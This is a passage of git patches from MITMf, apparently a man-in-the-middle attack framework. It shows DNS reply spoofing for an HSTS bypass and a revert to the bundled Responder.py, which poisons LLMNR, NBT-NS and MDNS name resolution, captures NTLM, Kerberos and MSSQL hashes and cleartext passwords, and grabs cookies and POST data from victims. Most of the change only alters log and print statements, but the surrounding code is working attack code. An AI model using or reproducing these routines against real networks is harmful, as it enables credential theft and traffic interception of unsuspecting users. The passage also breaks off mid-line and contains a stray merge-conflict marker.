UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() - - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(spoofed_pkt)) - payload.accept() + mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(mpkt)) + payload.accept() except Exception, e: print "Exception occurred while modifying DNS: " + str(e) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 150905a..f5445df 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging from cStringIO import StringIO from plugins.plugin import Plugin From 3c6a9fe89da964992fa05847c5f62f5e63446644 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 30 Mar 2015 18:13:21 +0200 Subject: [PATCH 117/323] Revert "fixed Responder plugin output" This reverts commit cd9a16de55e620f44868767b149cb198dd7a2888. Reverting since this commit caused a lot of stuff to not work in the plugin (??) --- config/mitmf.cfg | 3 +- libs/responder/Responder.py | 356 ++++++++++++++++++------------------ 2 files changed, 179 insertions(+), 180 deletions(-) diff --git a/config/mitmf.cfg b/config/mitmf.cfg index fe81a8c..c67ff85 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -2,8 +2,7 @@ [MITMf] - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` - #(assuming you config file is in the default directory) + #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) args='' #Required BeEF and Metasploit options diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 2b6851f..ea5880c 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -291,19 +291,17 @@ class NB(BaseRequestHandler): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - Message = "%s [Analyze mode: NBT-NS] OS: %s Client Version: %s is looking for: %s Service requested is: %s"%(self.client_address[0], Finger[0], Finger[1], Name, NBT_NS_Role(data[43:46])) + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) logger3.warning(Message) except Exception: - Message = "%s [Analyze mode: NBT-NS] is looking for : %s Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - #print Message - logger3.warning(Message) + print Message else: - Message = "%s [Analyze mode: NBT-NS] is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - #print Message - logger3.warning(Message) + print Message logger3.warning(Message) if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: @@ -319,17 +317,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): DnsCache.getInstance().setCustomRes(Name.lower()) @@ -340,17 +338,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -369,17 +367,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - p#rint '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: DnsCache.getInstance().setCustomRes(Name.lower()) @@ -390,17 +388,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -460,17 +458,17 @@ def RAPThisDomain(Client,Domain): PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") if PDC is not None: l.append('[Analyze mode LANMAN]:') - l.append('Domain detected on this network:') + l.append('[!]Domain detected on this network:') for x in PDC: l.append(' -'+x) SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") if SQL is not None: - l.append('SQL Server detected on Domain %s:'%(Domain)) + l.append('[!]SQL Server detected on Domain %s:'%(Domain)) for x in SQL: l.append(' -'+x) WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") if WKST is not None: - l.append('Workstations/Servers detected on Domain %s:'%(Domain)) + l.append('[!]Workstations/Servers detected on Domain %s:'%(Domain)) for x in WKST: l.append(' -'+x) else: @@ -537,12 +535,11 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - #print Message - logger3.warning(Message) + print Message if AnalyzeMode: Message1=RAPThisDomain(Client,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message1): - #print Message1 + print Message1 logger3.warning(Message1) logger3.warning(Message) except: @@ -557,12 +554,11 @@ def ParseDatagramNBTNames(data,Client): Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2) if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.": if PrintLLMNRNBTNS(AnalyzeFilename,Message): - #print Message - logger3.warning(Message) + print Message if AnalyzeMode: Message1=RAPThisDomain(Client,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message1): - #print Message1 + print Message1 logger3.warning(Message1) logger3.warning(Message) except: @@ -676,10 +672,10 @@ def ParseSMBHash(data,client): writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal outfile = os.path.join(ResponderPATH,"SMB-NTLMv1ESS-Client-"+client+".txt") if PrintData(outfile,User+"::"+Domain): - logging.warning("SMB-NTLMv1 hash captured from : ",client) - logging.warning("SMB complete hash is :", writehash) + print "[+]SMB-NTLMv1 hash captured from : ",client + print "[+]SMB complete hash is :", writehash WriteData(outfile,writehash,User+"::"+Domain) - logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash)) + logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) if NthashLen > 60: outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") @@ -692,10 +688,10 @@ def ParseSMBHash(data,client): User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') writehash = User+"::"+Domain+":"+NumChal+":"+NtHash[:32]+":"+NtHash[32:] if PrintData(outfile,User+"::"+Domain): - logging.warning("SMB-NTLMv2 hash captured from : ",client) - logging.warning("SMB complete hash is :", writehash) + print "[+]SMB-NTLMv2 hash captured from : ",client + print "[+]SMB complete hash is :", writehash WriteData(outfile,writehash,User+"::"+Domain) - logging.warning('SMB-NTLMv2 complete hash is :%s'%(writehash)) + logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(writehash)) #Parse SMB NTLMv1/v2 def ParseLMNTHash(data,client): @@ -706,33 +702,33 @@ def ParseLMNTHash(data,client): Bcc = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - logging.warning('SMB-NTLMv2 hash captured from :%s'%(client)) + logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() if PrintData(outfile,Username+"::"+Domain): - logging.warning("SMB-NTLMv2 hash captured from :",client) - logging.warning("SMB-NTLMv2 complete hash is :",Writehash) + print "[+]SMB-NTLMv2 hash captured from :",client + print "[+]SMB-NTLMv2 complete hash is :",Writehash ParseShare(data) WriteData(outfile,Writehash, Username+"::"+Domain) - logging.warning('SMB-NTLMv2 complete hash is :%s'%(Writehash)) + logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) if NthashLen == 24: - logging.warning('SMB-NTLMv1 hash captured from :%s'%(client)) + logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal if PrintData(outfile,Username+"::"+Domain): - logging.warning("SMB-NTLMv1 hash captured from : ",client) - logging.warning("SMB complete hash is :", writehash) + print "[+]SMB-NTLMv1 hash captured from : ",client + print "[+]SMB complete hash is :", writehash ParseShare(data) WriteData(outfile,writehash, Username+"::"+Domain) - logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash)) - logging.warning('SMB-NTLMv1 Username:%s'%(Username)) - logging.warning('SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) + logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) + logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) + logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) except Exception: raise @@ -748,7 +744,7 @@ def IsNT4ClearTxt(data): if PassLen > 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) + print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP @@ -989,11 +985,11 @@ class KerbTCP(BaseRequestHandler): if KerbHash: Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") if PrintData(Outfile,KerbHash): - logging.warning("MSKerbv5 hash captured from : ", self.client_address[0]) - #print "[+]MSKerbv5 complete hash is :", KerbHash + print "[+]MSKerbv5 hash captured from : ", self.client_address[0] + print "[+]MSKerbv5 complete hash is :", KerbHash Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") WriteData(Outfile,KerbHash, KerbHash) - logging.warning('MSKerbv5 complete hash is :%s'%(KerbHash)) + logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) except Exception: raise @@ -1006,11 +1002,11 @@ class KerbUDP(BaseRequestHandler): if KerbHash: Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") if PrintData(Outfile,KerbHash): - logging.warning("MSKerbv5 hash captured from : ", self.client_address[0]) - #print "[+]MSKerbv5 complete hash is :", KerbHash + print "[+]MSKerbv5 hash captured from : ", self.client_address[0] + print "[+]MSKerbv5 complete hash is :", KerbHash Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") WriteData(Outfile,KerbHash, KerbHash) - logging.warning('MSKerbv5 complete hash is :%s'%(KerbHash)) + logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) except Exception: raise @@ -1037,13 +1033,13 @@ def ParseSQLHash(data,client): User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') outfile = os.path.join(ResponderPATH,"MSSQL-NTLMv1-Client-"+client+".txt") if PrintData(outfile,User+"::"+Domain): - logging.warning("MSSQL NTLMv1 hash captured from :",client) - logging.warning('MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) + print "[+]MSSQL NTLMv1 hash captured from :",client + print '[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal) WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain) - logging.warning('MsSQL NTLMv1 hash captured from :%s'%(client)) - logging.warning('MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) - logging.warning('MSSQL NTLMv1 Domain is :%s'%(Domain)) - logging.warning('MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) + logging.warning('[+]MsSQL NTLMv1 hash captured from :%s'%(client)) + logging.warning('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00',''))) + logging.warning('[+]MSSQL NTLMv1 Domain is :%s'%(Domain)) + logging.warning('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal)) if NthashLen > 60: DomainLen = struct.unpack('>>>>>> parent of cd9a16d... fixed Responder plugin output WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr) - logging.warning('MSSQL PlainText Password captured from :%s'%(client)) - logging.warning('MSSQL Username: %s Password: %s'%(UserName, PwdStr)) + logging.warning('[+]MSSQL PlainText Password captured from :%s'%(client)) + logging.warning('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr)) def ParsePreLoginEncValue(Data): @@ -1194,7 +1195,7 @@ def IsICMPRedirectPlausible(IP): dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print "| |_ [Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) + print "[Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) else: pass @@ -1223,16 +1224,17 @@ class LLMNR(BaseRequestHandler): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - Message = "%s [Analyze mode: LLMNR] OS: %s Client Version: %s is looking for : %s"%(self.client_address[0],Finger[0],Finger[1],Name) + Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,Finger[0],Finger[1]) logger3.warning(Message) except Exception: - Message = "%s [Analyze mode: LLMNR] is looking for : %s."%(self.client_address[0], Name) + Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - logger3.warning(Message) + print Message else: Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message logger3.warning(Message) if DontRespondToSpecificHost(DontRespondTo): @@ -1254,17 +1256,17 @@ class LLMNR(BaseRequestHandler): Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): @@ -1276,17 +1278,17 @@ class LLMNR(BaseRequestHandler): Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: @@ -1298,17 +1300,17 @@ class LLMNR(BaseRequestHandler): for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) @@ -1318,17 +1320,17 @@ class LLMNR(BaseRequestHandler): for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): - #print Message + print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('OsVersion is:%s'%(Finger[0])) - logging.warning('ClientVersion is :%s'%(Finger[1])) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -1385,7 +1387,7 @@ class DNS(BaseRequestHandler): buff = DNSAns() buff.calculate(data) soc.sendto(str(buff), self.client_address) - #print "DNS Answer sent to: %s "%(self.client_address[0]) + print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(BaseRequestHandler): @@ -1399,7 +1401,7 @@ class DNSTCP(BaseRequestHandler): buff = DNSAns() buff.calculate(data) self.request.send(str(buff)) - #print "DNS Answer sent to: %s "%(self.client_address[0]) + print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) except Exception: @@ -1454,14 +1456,14 @@ class MDNS(BaseRequestHandler): try: if Analyze(AnalyzeMode): if Parse_IPV6_Addr(data): - #print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): if Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) @@ -1470,7 +1472,7 @@ class MDNS(BaseRequestHandler): if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) @@ -1506,14 +1508,14 @@ def ParseHTTPHash(data,client): outfile = os.path.join(ResponderPATH,"HTTP-NTLMv1-Client-"+client+".txt") WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal if PrintData(outfile,User+"::"+Hostname): - #print "[+]HTTP NTLMv1 hash captured from :",client - #print "Hostname is :", Hostname - #print "Complete hash is : ", WriteHash + print "[+]HTTP NTLMv1 hash captured from :",client + print "Hostname is :", Hostname + print "Complete hash is : ", WriteHash WriteData(outfile,WriteHash, User+"::"+Hostname) - logging.warning('HTTP NTLMv1 hash captured from :%s'%(client)) - logging.warning('HTTP NTLMv1 Hostname is :%s'%(Hostname)) - logging.warning('HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00',''))) - logging.warning('HTTP NTLMv1 Complete hash is :%s'%(WriteHash)) + logging.warning('[+]HTTP NTLMv1 hash captured from :%s'%(client)) + logging.warning('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname)) + logging.warning('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00',''))) + logging.warning('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash)) if NthashLen > 24: NthashLen = 64 @@ -1529,19 +1531,19 @@ def ParseHTTPHash(data,client): outfile = os.path.join(ResponderPATH,"HTTP-NTLMv2-Client-"+client+".txt") WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:] if PrintData(outfile,User+"::"+Domain): - logging.warning("HTTP NTLMv2 hash captured from :",client) - logging.warning("Complete hash is : ", WriteHash) + print "[+]HTTP NTLMv2 hash captured from :",client + print "Complete hash is : ", WriteHash WriteData(outfile,WriteHash, User+"::"+Domain) - logging.warning('HTTP NTLMv2 hash captured from :%s'%(client)) - logging.warning('HTTP NTLMv2 User is : %s'%(User)) - logging.warning('HTTP NTLMv2 Domain is :%s'%(Domain)) - logging.warning('HTTP NTLMv2 Hostname is :%s'%(HostName)) - logging.warning('HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) + logging.warning('[+]HTTP NTLMv2 hash captured from :%s'%(client)) + logging.warning('[+]HTTP NTLMv2 User is : %s'%(User)) + logging.warning('[+]HTTP NTLMv2 Domain is :%s'%(Domain)) + logging.warning('[+]HTTP NTLMv2 Hostname is :%s'%(HostName)) + logging.warning('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) def GrabCookie(data,host): Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) if Cookie: - CookieStr = "HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) + CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) logging.warning(CookieStr) return Cookie.group(0) else: @@ -1572,7 +1574,7 @@ def Basic_Ntlm(Basic): return IIS_Auth_401_Ans() def ServeEXE(data,client, Filename): - Message = "Sent %s file sent to: %s."%(Filename,client) + Message = "[+]Sent %s file sent to: %s."%(Filename,client) logging.warning(Message) with open (Filename, "rb") as bk: data = bk.read() @@ -1603,17 +1605,17 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) if GET: - HostStr = "HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) + HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) logging.warning(HostStr) - #print HostStr + print HostStr if POST: - Host3Str = "HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) + Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) logging.warning(Host3Str) - #print Host3Str + print Host3Str if len(''.join(POSTDATA)) >2: - PostData = 'The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - #print 